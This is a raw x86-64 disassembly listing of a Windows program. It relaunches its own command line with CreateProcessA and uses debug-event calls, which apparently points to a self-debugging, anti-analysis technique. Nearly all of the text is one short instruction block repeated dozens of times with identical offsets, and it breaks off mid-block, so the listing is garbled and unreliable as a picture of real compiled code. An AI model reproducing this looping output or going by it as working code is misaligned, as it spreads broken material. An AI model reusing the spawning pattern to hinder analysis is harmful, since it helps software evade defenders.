mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r8d, 0x40010004
mov edx, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rsp + 0x1e50]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
lea rax, [0x140024198]
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x510], rax
mov rdx, qword [rsp + 0x510]
lea rcx, [rsp + 0x1020]
call fcn.140063c04
nop
call fcn.140022e2c
test eax, eax
jne 0x140052770
call fcn.140022be0
test eax, eax
jne 0x140052770
call fcn.140021d34
test eax, eax
jne 0x140052770
mov qword [rsp + 0x1048], 0
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0xf0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x1f00]
mov rdi, rax
xor eax, eax
mov ecx, 0xb0
rep stosb byte [rdi], al
lea rcx, [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
